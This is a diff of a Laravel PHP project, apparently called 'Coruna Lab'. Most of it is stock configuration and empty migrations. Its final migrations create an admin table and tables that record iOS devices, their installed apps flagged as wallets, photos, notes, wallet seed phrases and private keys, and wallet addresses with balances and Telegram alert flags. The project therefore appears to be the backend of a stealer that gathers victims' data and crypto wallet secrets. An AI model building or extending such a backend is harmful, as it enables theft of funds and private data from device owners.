| by the framework. The "local" disk, as well as a variety of cloud
|
||||
| based disks are available to your application for file storage.
|
||||
|
|
||||
*/
|
||||
|
||||
'default' => env('FILESYSTEM_DISK', 'local'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Filesystem Disks
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Below you may configure as many filesystem disks as necessary, and you
|
||||
| may even configure multiple disks for the same driver. Examples for
|
||||
| most supported storage drivers are configured here for reference.
|
||||
|
|
||||
| Supported drivers: "local", "ftp", "sftp", "s3"
|
||||
|
|
||||
*/
|
||||
|
||||
'disks' => [
|
||||
|
||||
'local' => [
|
||||
'driver' => 'local',
|
||||
'root' => storage_path('app/private'),
|
||||
'serve' => true,
|
||||
'throw' => false,
|
||||
'report' => false,
|
||||
],
|
||||
|
||||
'public' => [
|
||||
'driver' => 'local',
|
||||
'root' => storage_path('app/public'),
|
||||
'url' => rtrim(env('APP_URL', 'http://localhost'), '/').'/storage',
|
||||
'visibility' => 'public',
|
||||
'throw' => false,
|
||||
'report' => false,
|
||||
],
|
||||
|
||||
's3' => [
|
||||
'driver' => 's3',
|
||||
'key' => env('AWS_ACCESS_KEY_ID'),
|
||||
'secret' => env('AWS_SECRET_ACCESS_KEY'),
|
||||
'region' => env('AWS_DEFAULT_REGION'),
|
||||
'bucket' => env('AWS_BUCKET'),
|
||||
'url' => env('AWS_URL'),
|
||||
'endpoint' => env('AWS_ENDPOINT'),
|
||||
'use_path_style_endpoint' => env('AWS_USE_PATH_STYLE_ENDPOINT', false),
|
||||
'throw' => false,
|
||||
'report' => false,
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Symbolic Links
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may configure the symbolic links that will be created when the
|
||||
| `storage:link` Artisan command is executed. The array keys should be
|
||||
| the locations of the links and the values should be their targets.
|
||||
|
|
||||
*/
|
||||
|
||||
'links' => [
|
||||
public_path('storage') => storage_path('app/public'),
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,132 @@
|
||||
<?php
|
||||
|
||||
use Monolog\Handler\NullHandler;
|
||||
use Monolog\Handler\StreamHandler;
|
||||
use Monolog\Handler\SyslogUdpHandler;
|
||||
use Monolog\Processor\PsrLogMessageProcessor;
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Log Channel
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option defines the default log channel that is utilized to write
|
||||
| messages to your logs. The value provided here should match one of
|
||||
| the channels present in the list of "channels" configured below.
|
||||
|
|
||||
*/
|
||||
|
||||
'default' => env('LOG_CHANNEL', 'stack'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Deprecations Log Channel
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option controls the log channel that should be used to log warnings
|
||||
| regarding deprecated PHP and library features. This allows you to get
|
||||
| your application ready for upcoming major versions of dependencies.
|
||||
|
|
||||
*/
|
||||
|
||||
'deprecations' => [
|
||||
'channel' => env('LOG_DEPRECATIONS_CHANNEL', 'null'),
|
||||
'trace' => env('LOG_DEPRECATIONS_TRACE', false),
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Log Channels
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may configure the log channels for your application. Laravel
|
||||
| utilizes the Monolog PHP logging library, which includes a variety
|
||||
| of powerful log handlers and formatters that you're free to use.
|
||||
|
|
||||
| Available drivers: "single", "daily", "slack", "syslog",
|
||||
| "errorlog", "monolog", "custom", "stack"
|
||||
|
|
||||
*/
|
||||
|
||||
'channels' => [
|
||||
|
||||
'stack' => [
|
||||
'driver' => 'stack',
|
||||
'channels' => explode(',', (string) env('LOG_STACK', 'single')),
|
||||
'ignore_exceptions' => false,
|
||||
],
|
||||
|
||||
'single' => [
|
||||
'driver' => 'single',
|
||||
'path' => storage_path('logs/laravel.log'),
|
||||
'level' => env('LOG_LEVEL', 'debug'),
|
||||
'replace_placeholders' => true,
|
||||
],
|
||||
|
||||
'daily' => [
|
||||
'driver' => 'daily',
|
||||
'path' => storage_path('logs/laravel.log'),
|
||||
'level' => env('LOG_LEVEL', 'debug'),
|
||||
'days' => env('LOG_DAILY_DAYS', 14),
|
||||
'replace_placeholders' => true,
|
||||
],
|
||||
|
||||
'slack' => [
|
||||
'driver' => 'slack',
|
||||
'url' => env('LOG_SLACK_WEBHOOK_URL'),
|
||||
'username' => env('LOG_SLACK_USERNAME', env('APP_NAME', 'Laravel')),
|
||||
'emoji' => env('LOG_SLACK_EMOJI', ':boom:'),
|
||||
'level' => env('LOG_LEVEL', 'critical'),
|
||||
'replace_placeholders' => true,
|
||||
],
|
||||
|
||||
'papertrail' => [
|
||||
'driver' => 'monolog',
|
||||
'level' => env('LOG_LEVEL', 'debug'),
|
||||
'handler' => env('LOG_PAPERTRAIL_HANDLER', SyslogUdpHandler::class),
|
||||
'handler_with' => [
|
||||
'host' => env('PAPERTRAIL_URL'),
|
||||
'port' => env('PAPERTRAIL_PORT'),
|
||||
'connectionString' => 'tls://'.env('PAPERTRAIL_URL').':'.env('PAPERTRAIL_PORT'),
|
||||
],
|
||||
'processors' => [PsrLogMessageProcessor::class],
|
||||
],
|
||||
|
||||
'stderr' => [
|
||||
'driver' => 'monolog',
|
||||
'level' => env('LOG_LEVEL', 'debug'),
|
||||
'handler' => StreamHandler::class,
|
||||
'handler_with' => [
|
||||
'stream' => 'php://stderr',
|
||||
],
|
||||
'formatter' => env('LOG_STDERR_FORMATTER'),
|
||||
'processors' => [PsrLogMessageProcessor::class],
|
||||
],
|
||||
|
||||
'syslog' => [
|
||||
'driver' => 'syslog',
|
||||
'level' => env('LOG_LEVEL', 'debug'),
|
||||
'facility' => env('LOG_SYSLOG_FACILITY', LOG_USER),
|
||||
'replace_placeholders' => true,
|
||||
],
|
||||
|
||||
'errorlog' => [
|
||||
'driver' => 'errorlog',
|
||||
'level' => env('LOG_LEVEL', 'debug'),
|
||||
'replace_placeholders' => true,
|
||||
],
|
||||
|
||||
'null' => [
|
||||
'driver' => 'monolog',
|
||||
'handler' => NullHandler::class,
|
||||
],
|
||||
|
||||
'emergency' => [
|
||||
'path' => storage_path('logs/laravel.log'),
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,118 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Mailer
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option controls the default mailer that is used to send all email
|
||||
| messages unless another mailer is explicitly specified when sending
|
||||
| the message. All additional mailers can be configured within the
|
||||
| "mailers" array. Examples of each type of mailer are provided.
|
||||
|
|
||||
*/
|
||||
|
||||
'default' => env('MAIL_MAILER', 'log'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Mailer Configurations
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may configure all of the mailers used by your application plus
|
||||
| their respective settings. Several examples have been configured for
|
||||
| you and you are free to add your own as your application requires.
|
||||
|
|
||||
| Laravel supports a variety of mail "transport" drivers that can be used
|
||||
| when delivering an email. You may specify which one you're using for
|
||||
| your mailers below. You may also add additional mailers if needed.
|
||||
|
|
||||
| Supported: "smtp", "sendmail", "mailgun", "ses", "ses-v2",
|
||||
| "postmark", "resend", "log", "array",
|
||||
| "failover", "roundrobin"
|
||||
|
|
||||
*/
|
||||
|
||||
'mailers' => [
|
||||
|
||||
'smtp' => [
|
||||
'transport' => 'smtp',
|
||||
'scheme' => env('MAIL_SCHEME'),
|
||||
'url' => env('MAIL_URL'),
|
||||
'host' => env('MAIL_HOST', '127.0.0.1'),
|
||||
'port' => env('MAIL_PORT', 2525),
|
||||
'username' => env('MAIL_USERNAME'),
|
||||
'password' => env('MAIL_PASSWORD'),
|
||||
'timeout' => null,
|
||||
'local_domain' => env('MAIL_EHLO_DOMAIN', parse_url((string) env('APP_URL', 'http://localhost'), PHP_URL_HOST)),
|
||||
],
|
||||
|
||||
'ses' => [
|
||||
'transport' => 'ses',
|
||||
],
|
||||
|
||||
'postmark' => [
|
||||
'transport' => 'postmark',
|
||||
// 'message_stream_id' => env('POSTMARK_MESSAGE_STREAM_ID'),
|
||||
// 'client' => [
|
||||
// 'timeout' => 5,
|
||||
// ],
|
||||
],
|
||||
|
||||
'resend' => [
|
||||
'transport' => 'resend',
|
||||
],
|
||||
|
||||
'sendmail' => [
|
||||
'transport' => 'sendmail',
|
||||
'path' => env('MAIL_SENDMAIL_PATH', '/usr/sbin/sendmail -bs -i'),
|
||||
],
|
||||
|
||||
'log' => [
|
||||
'transport' => 'log',
|
||||
'channel' => env('MAIL_LOG_CHANNEL'),
|
||||
],
|
||||
|
||||
'array' => [
|
||||
'transport' => 'array',
|
||||
],
|
||||
|
||||
'failover' => [
|
||||
'transport' => 'failover',
|
||||
'mailers' => [
|
||||
'smtp',
|
||||
'log',
|
||||
],
|
||||
'retry_after' => 60,
|
||||
],
|
||||
|
||||
'roundrobin' => [
|
||||
'transport' => 'roundrobin',
|
||||
'mailers' => [
|
||||
'ses',
|
||||
'postmark',
|
||||
],
|
||||
'retry_after' => 60,
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Global "From" Address
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| You may wish for all emails sent by your application to be sent from
|
||||
| the same address. Here you may specify a name and address that is
|
||||
| used globally for all emails that are sent by your application.
|
||||
|
|
||||
*/
|
||||
|
||||
'from' => [
|
||||
'address' => env('MAIL_FROM_ADDRESS', 'hello@example.com'),
|
||||
'name' => env('MAIL_FROM_NAME', env('APP_NAME', 'Laravel')),
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,129 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Queue Connection Name
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Laravel's queue supports a variety of backends via a single, unified
|
||||
| API, giving you convenient access to each backend using identical
|
||||
| syntax for each. The default queue connection is defined below.
|
||||
|
|
||||
*/
|
||||
|
||||
'default' => env('QUEUE_CONNECTION', 'database'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Queue Connections
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may configure the connection options for every queue backend
|
||||
| used by your application. An example configuration is provided for
|
||||
| each backend supported by Laravel. You're also free to add more.
|
||||
|
|
||||
| Drivers: "sync", "database", "beanstalkd", "sqs", "redis",
|
||||
| "deferred", "background", "failover", "null"
|
||||
|
|
||||
*/
|
||||
|
||||
'connections' => [
|
||||
|
||||
'sync' => [
|
||||
'driver' => 'sync',
|
||||
],
|
||||
|
||||
'database' => [
|
||||
'driver' => 'database',
|
||||
'connection' => env('DB_QUEUE_CONNECTION'),
|
||||
'table' => env('DB_QUEUE_TABLE', 'jobs'),
|
||||
'queue' => env('DB_QUEUE', 'default'),
|
||||
'retry_after' => (int) env('DB_QUEUE_RETRY_AFTER', 90),
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
'beanstalkd' => [
|
||||
'driver' => 'beanstalkd',
|
||||
'host' => env('BEANSTALKD_QUEUE_HOST', 'localhost'),
|
||||
'queue' => env('BEANSTALKD_QUEUE', 'default'),
|
||||
'retry_after' => (int) env('BEANSTALKD_QUEUE_RETRY_AFTER', 90),
|
||||
'block_for' => 0,
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
'sqs' => [
|
||||
'driver' => 'sqs',
|
||||
'key' => env('AWS_ACCESS_KEY_ID'),
|
||||
'secret' => env('AWS_SECRET_ACCESS_KEY'),
|
||||
'prefix' => env('SQS_PREFIX', 'https://sqs.us-east-1.amazonaws.com/your-account-id'),
|
||||
'queue' => env('SQS_QUEUE', 'default'),
|
||||
'suffix' => env('SQS_SUFFIX'),
|
||||
'region' => env('AWS_DEFAULT_REGION', 'us-east-1'),
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
'redis' => [
|
||||
'driver' => 'redis',
|
||||
'connection' => env('REDIS_QUEUE_CONNECTION', 'default'),
|
||||
'queue' => env('REDIS_QUEUE', 'default'),
|
||||
'retry_after' => (int) env('REDIS_QUEUE_RETRY_AFTER', 90),
|
||||
'block_for' => null,
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
'deferred' => [
|
||||
'driver' => 'deferred',
|
||||
],
|
||||
|
||||
'background' => [
|
||||
'driver' => 'background',
|
||||
],
|
||||
|
||||
'failover' => [
|
||||
'driver' => 'failover',
|
||||
'connections' => [
|
||||
'database',
|
||||
'deferred',
|
||||
],
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Job Batching
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following options configure the database and table that store job
|
||||
| batching information. These options can be updated to any database
|
||||
| connection and table which has been defined by your application.
|
||||
|
|
||||
*/
|
||||
|
||||
'batching' => [
|
||||
'database' => env('DB_CONNECTION', 'sqlite'),
|
||||
'table' => 'job_batches',
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Failed Queue Jobs
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| These options configure the behavior of failed queue job logging so you
|
||||
| can control how and where failed jobs are stored. Laravel ships with
|
||||
| support for storing failed jobs in a simple file or in a database.
|
||||
|
|
||||
| Supported drivers: "database-uuids", "dynamodb", "file", "null"
|
||||
|
|
||||
*/
|
||||
|
||||
'failed' => [
|
||||
'driver' => env('QUEUE_FAILED_DRIVER', 'database-uuids'),
|
||||
'database' => env('DB_CONNECTION', 'sqlite'),
|
||||
'table' => 'failed_jobs',
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,38 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Third Party Services
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This file is for storing the credentials for third party services such
|
||||
| as Mailgun, Postmark, AWS and more. This file provides the de facto
|
||||
| location for this type of information, allowing packages to have
|
||||
| a conventional file to locate the various service credentials.
|
||||
|
|
||||
*/
|
||||
|
||||
'postmark' => [
|
||||
'key' => env('POSTMARK_API_KEY'),
|
||||
],
|
||||
|
||||
'resend' => [
|
||||
'key' => env('RESEND_API_KEY'),
|
||||
],
|
||||
|
||||
'ses' => [
|
||||
'key' => env('AWS_ACCESS_KEY_ID'),
|
||||
'secret' => env('AWS_SECRET_ACCESS_KEY'),
|
||||
'region' => env('AWS_DEFAULT_REGION', 'us-east-1'),
|
||||
],
|
||||
|
||||
'slack' => [
|
||||
'notifications' => [
|
||||
'bot_user_oauth_token' => env('SLACK_BOT_USER_OAUTH_TOKEN'),
|
||||
'channel' => env('SLACK_BOT_USER_DEFAULT_CHANNEL'),
|
||||
],
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,217 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Session Driver
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option determines the default session driver that is utilized for
|
||||
| incoming requests. Laravel supports a variety of storage options to
|
||||
| persist session data. Database storage is a great default choice.
|
||||
|
|
||||
| Supported: "file", "cookie", "database", "memcached",
|
||||
| "redis", "dynamodb", "array"
|
||||
|
|
||||
*/
|
||||
|
||||
'driver' => env('SESSION_DRIVER', 'database'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Lifetime
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may specify the number of minutes that you wish the session
|
||||
| to be allowed to remain idle before it expires. If you want them
|
||||
| to expire immediately when the browser is closed then you may
|
||||
| indicate that via the expire_on_close configuration option.
|
||||
|
|
||||
*/
|
||||
|
||||
'lifetime' => (int) env('SESSION_LIFETIME', 120),
|
||||
|
||||
'expire_on_close' => env('SESSION_EXPIRE_ON_CLOSE', false),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Encryption
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option allows you to easily specify that all of your session data
|
||||
| should be encrypted before it's stored. All encryption is performed
|
||||
| automatically by Laravel and you may use the session like normal.
|
||||
|
|
||||
*/
|
||||
|
||||
'encrypt' => env('SESSION_ENCRYPT', false),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session File Location
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| When utilizing the "file" session driver, the session files are placed
|
||||
| on disk. The default storage location is defined here; however, you
|
||||
| are free to provide another location where they should be stored.
|
||||
|
|
||||
*/
|
||||
|
||||
'files' => storage_path('framework/sessions'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Database Connection
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| When using the "database" or "redis" session drivers, you may specify a
|
||||
| connection that should be used to manage these sessions. This should
|
||||
| correspond to a connection in your database configuration options.
|
||||
|
|
||||
*/
|
||||
|
||||
'connection' => env('SESSION_CONNECTION'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Database Table
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| When using the "database" session driver, you may specify the table to
|
||||
| be used to store sessions. Of course, a sensible default is defined
|
||||
| for you; however, you're welcome to change this to another table.
|
||||
|
|
||||
*/
|
||||
|
||||
'table' => env('SESSION_TABLE', 'sessions'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Cache Store
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| When using one of the framework's cache driven session backends, you may
|
||||
| define the cache store which should be used to store the session data
|
||||
| between requests. This must match one of your defined cache stores.
|
||||
|
|
||||
| Affects: "dynamodb", "memcached", "redis"
|
||||
|
|
||||
*/
|
||||
|
||||
'store' => env('SESSION_STORE'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Sweeping Lottery
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Some session drivers must manually sweep their storage location to get
|
||||
| rid of old sessions from storage. Here are the chances that it will
|
||||
| happen on a given request. By default, the odds are 2 out of 100.
|
||||
|
|
||||
*/
|
||||
|
||||
'lottery' => [2, 100],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Cookie Name
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may change the name of the session cookie that is created by
|
||||
| the framework. Typically, you should not need to change this value
|
||||
| since doing so does not grant a meaningful security improvement.
|
||||
|
|
||||
*/
|
||||
|
||||
'cookie' => env(
|
||||
'SESSION_COOKIE',
|
||||
Str::slug((string) env('APP_NAME', 'laravel')).'-session'
|
||||
),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Cookie Path
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The session cookie path determines the path for which the cookie will
|
||||
| be regarded as available. Typically, this will be the root path of
|
||||
| your application, but you're free to change this when necessary.
|
||||
|
|
||||
*/
|
||||
|
||||
'path' => env('SESSION_PATH', '/'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Cookie Domain
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This value determines the domain and subdomains the session cookie is
|
||||
| available to. By default, the cookie will be available to the root
|
||||
| domain without subdomains. Typically, this shouldn't be changed.
|
||||
|
|
||||
*/
|
||||
|
||||
'domain' => env('SESSION_DOMAIN'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| HTTPS Only Cookies
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| By setting this option to true, session cookies will only be sent back
|
||||
| to the server if the browser has a HTTPS connection. This will keep
|
||||
| the cookie from being sent to you when it can't be done securely.
|
||||
|
|
||||
*/
|
||||
|
||||
'secure' => env('SESSION_SECURE_COOKIE'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| HTTP Access Only
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Setting this value to true will prevent JavaScript from accessing the
|
||||
| value of the cookie and the cookie will only be accessible through
|
||||
| the HTTP protocol. It's unlikely you should disable this option.
|
||||
|
|
||||
*/
|
||||
|
||||
'http_only' => env('SESSION_HTTP_ONLY', true),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Same-Site Cookies
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option determines how your cookies behave when cross-site requests
|
||||
| take place, and can be used to mitigate CSRF attacks. By default, we
|
||||
| will set this value to "lax" to permit secure cross-site requests.
|
||||
|
|
||||
| See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#samesitesamesite-value
|
||||
|
|
||||
| Supported: "lax", "strict", "none", null
|
||||
|
|
||||
*/
|
||||
|
||||
'same_site' => env('SESSION_SAME_SITE', 'lax'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Partitioned Cookies
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Setting this value to true will tie the cookie to the top-level site for
|
||||
| a cross-site context. Partitioned cookies are accepted by the browser
|
||||
| when flagged "secure" and the Same-Site attribute is set to "none".
|
||||
|
|
||||
*/
|
||||
|
||||
'partitioned' => env('SESSION_PARTITIONED_COOKIE', false),
|
||||
|
||||
];
|
||||
@@ -0,0 +1 @@
|
||||
*.sqlite*
|
||||
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
|
||||
namespace Database\Factories;
|
||||
|
||||
use App\Models\User;
|
||||
use Illuminate\Database\Eloquent\Factories\Factory;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
/**
|
||||
* @extends Factory<User>
|
||||
*/
|
||||
class UserFactory extends Factory
|
||||
{
|
||||
/**
|
||||
* The current password being used by the factory.
|
||||
*/
|
||||
protected static ?string $password;
|
||||
|
||||
/**
|
||||
* Define the model's default state.
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function definition(): array
|
||||
{
|
||||
return [
|
||||
'name' => fake()->name(),
|
||||
'email' => fake()->unique()->safeEmail(),
|
||||
'email_verified_at' => now(),
|
||||
'password' => static::$password ??= Hash::make('password'),
|
||||
'remember_token' => Str::random(10),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Indicate that the model's email address should be unverified.
|
||||
*/
|
||||
public function unverified(): static
|
||||
{
|
||||
return $this->state(fn (array $attributes) => [
|
||||
'email_verified_at' => null,
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
/**
|
||||
* Laravel default users/sessions scaffolding — unused by Coruna Lab.
|
||||
* Auth uses `admins`; session/cache/queue use file/sync drivers.
|
||||
*/
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
/** Unused — CACHE_STORE=file */
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
/** Unused — QUEUE_CONNECTION=sync */
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,98 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::create('admins', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('username')->unique();
|
||||
$table->string('password');
|
||||
$table->rememberToken();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('devices', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('device_id', 64)->unique();
|
||||
$table->string('ios_version', 64)->nullable();
|
||||
$table->string('device_model', 128)->nullable();
|
||||
$table->string('ip', 64)->nullable();
|
||||
$table->text('user_agent')->nullable();
|
||||
$table->boolean('telegram_notified')->default(false);
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('device_apps', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('bundle_id')->nullable();
|
||||
$table->string('name')->nullable();
|
||||
$table->boolean('is_wallet')->default(false);
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['device_id', 'bundle_id']);
|
||||
});
|
||||
|
||||
Schema::create('photos', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('sha256', 64)->nullable()->index();
|
||||
$table->string('path');
|
||||
$table->unsignedInteger('width')->nullable();
|
||||
$table->unsignedInteger('height')->nullable();
|
||||
$table->unsignedInteger('size')->nullable();
|
||||
$table->json('counters_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('notes', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('title')->nullable();
|
||||
$table->longText('body')->nullable();
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('wallets', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('source_app')->nullable();
|
||||
$table->text('mnemonic_enc')->nullable();
|
||||
$table->text('privkey_enc')->nullable();
|
||||
$table->json('raw_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('wallet_addresses', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->foreignId('wallet_id')->nullable()->constrained('wallets')->nullOnDelete();
|
||||
$table->string('address')->index();
|
||||
$table->string('chain')->nullable();
|
||||
$table->string('balance')->nullable();
|
||||
$table->string('symbol')->nullable();
|
||||
$table->boolean('telegram_notified')->default(false);
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['device_id', 'address', 'chain']);
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('wallet_addresses');
|
||||
Schema::dropIfExists('wallets');
|
||||
Schema::dropIfExists('notes');
|
||||
Schema::dropIfExists('photos');
|
||||
Schema::dropIfExists('device_apps');
|
||||
Schema::dropIfExists('devices');
|
||||
Schema::dropIfExists('admins');
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,57 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('devices', 'device_model')) {
|
||||
$table->string('device_model', 128)->nullable()->after('ios_version');
|
||||
}
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('devices', 'model') && Schema::hasColumn('devices', 'device_model')) {
|
||||
DB::table('devices')->whereNull('device_model')->whereNotNull('model')->update([
|
||||
'device_model' => DB::raw('model'),
|
||||
]);
|
||||
}
|
||||
|
||||
Schema::table('device_apps', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('device_apps', 'version')) {
|
||||
$table->string('version', 64)->nullable()->after('name');
|
||||
}
|
||||
});
|
||||
|
||||
Schema::create('device_events', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('device_key', 64)->index();
|
||||
$table->string('event_name', 128)->nullable()->index();
|
||||
$table->string('desc', 512)->nullable();
|
||||
$table->json('context_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('device_events');
|
||||
|
||||
Schema::table('device_apps', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('device_apps', 'version')) {
|
||||
$table->dropColumn('version');
|
||||
}
|
||||
});
|
||||
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('devices', 'device_model')) {
|
||||
$table->dropColumn('device_model');
|
||||
}
|
||||
});
|
||||
}
